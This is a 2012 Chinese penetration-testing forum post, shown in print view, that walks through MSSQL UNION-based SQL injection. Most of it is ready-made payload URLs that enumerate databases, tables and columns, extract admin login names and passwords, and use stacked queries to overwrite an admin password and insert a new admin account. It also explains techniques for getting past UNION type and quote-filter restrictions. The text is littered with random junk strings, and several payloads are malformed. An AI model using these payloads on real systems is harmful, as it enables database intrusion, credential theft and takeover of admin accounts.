中国网络渗透测试联盟

标题: MSSQL用union查询爆数据 [打印本页]

作者: admin    时间: 2012-9-15 14:26
标题: MSSQL用union查询爆数据
爆库:  @* K4 {1 P- U" e
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
2 H! n4 b% j; C! SSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
5 t; L: J4 @' Q爆下一个库:
0 @0 t! q. O  ^' P3 t$ Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--# g+ r, V* T7 D$ `$ b
8 L) J. S7 E* i) J! ~8 N
爆表:
  e2 ?; i8 f  ]; m4 \2 }3 Qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
0 S0 H/ J' R# X! R7 h. F6 [$ W* N$ A
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
8 P( B" O/ Z* Q8 {+ z( C/ o: _1 p- p0 ^: c2 |& X5 ?# e/ u
爆下一个表
! V9 F( P* R" ?9 xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
7 C( Q( w7 U) |% p$ \5 R! r- e: ]. X
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
1 K, t, l; h0 g4 S6 B1 U: z* O+ g, @1 I# o8 w: k: E- i- G
# S& g) E! f; M0 H

5 |- X, c) k8 I9 D, n爆字段:! F+ p; t0 `  d
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
6 S- t8 y! `/ L& c; f
, A6 [: s7 D% S- j* m" u1 ]爆下一个字段
, g' D# t1 i  F3 R9 Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
* `: @+ }* Q1 U( s0 y8 j0 ~" U; T5 m' a% T1 p$ l: V
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--+ a- T5 r' B- ]  G) _& I& E# K

3 u* q. q# h/ [7 W" C  ^& X$ P( z. h' D# F  n2 x
爆字段里的内容# k3 u$ ?9 Y6 q1 v0 Y7 V
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--: U, h  f% Z4 R

: g' J) S+ F  m, _4 phttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
: M3 E: |4 f9 H
8 k4 z; Z+ V% H& h" a- D: Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--) Q" k4 F8 P7 }  \& {; O1 |$ n
2 R* w8 |5 q! I. j' @7 s0 ~
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--' p  v7 D" o, P7 s8 n+ d
! t' z* S3 ~2 G) R4 P
更新字段里的内容
1 k) e% Y3 d; G: P% khttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--6 T+ I- e9 j7 d( i+ V1 v

/ D2 B1 C7 B& P# H; A  Bhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--" n! {' S+ z- ]) z
; n8 M1 B6 G0 Y4 @! Y% A% @

9 N- l$ P0 o1 s0 ~
& p& B1 F7 C4 R1 f$ L& N7 {9 j        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。( J( W. L' U& t4 |5 ^  I
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。+ J# D* X! B: I4 m0 d
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。0 p1 R% x  t$ u# ?$ @7 e. i
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
$ \  j# e) h4 P7 y# `+ n% ^8 ]! s7 g5 w+ U3 }) Y
突了了大部份限制的语句, r3 k% C2 Y* p
and 1=2 union all select char(49),char(50),null,null;--
3 r  c* F7 S  {8 z8 b3 M0 f
# A  j' H5 `$ S8 ^+ X; ?- f7 ?
8 L" _3 P% K9 w4 _3 Hnull也可以正常执行,不过没有回显,不好判断回显的列数。
! o- k' x* _; R' Q# R1 d, m一般union遇到问题都是有text或者ntext字段,image的很少遇到
: D9 C6 I2 r9 Z  g
  j- B" h0 Z% z& z2 [可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟( F6 J$ \4 b3 t1 w* ]. K
0 ?7 _& e! G9 I0 B: G
. e7 U$ K, ^0 n( U( W4 A, `





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2